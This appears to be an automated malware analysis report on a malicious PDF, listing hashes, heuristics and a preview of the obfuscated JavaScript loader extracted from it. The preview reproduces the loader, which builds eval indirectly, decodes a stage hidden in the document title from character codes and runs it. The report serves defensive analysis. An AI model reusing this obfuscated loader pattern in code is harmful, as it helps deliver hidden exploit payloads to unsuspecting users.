Malicious PDF — malware analysis report

Static analysis result for SHA-256 10e19b71bf503f26…

MALICIOUS

PDF

44.5 KB First seen: 2013-05-17
MD5: fc03bb058df70b19d4929d7753c0c921 SHA-1: c048a89a9bb4223a5be28aae15121e65b0bd43f2 SHA-256: 10e19b71bf503f26d035c4c69fe62f9213254e231ce50ed5ab74ba15c10198ff
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader, which is designed to decode and execute a secondary payload. The script reconstructs a string that appears to be a URL or command, which is then used to fetch and run the next stage of the attack. The ML classifier strongly indicates maliciousness, and the presence of obfuscated JavaScript points to a downloader pattern.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF79 445 bytes
SHA-256: 8be774d1b723e52140280c8576dd0a318b3a20c22a3ac407ea19ceb22549fb96
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
bwfo='';
vjyi=('qwrwqr','tit');
e('kmfpj=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
prty=e('String.fr'+kmfpj.substr(0,10));
sbv = e(kmfpj.substr(10)['replace'](/u/g,','));
e('k=sbv.length');
for (i = 0; i < k; i+=2) {
	kcon = sbv[i+1] + ('erybjkerl',sbv[i]);
	bwfo += prty(kcon);
}
e(bwfo);

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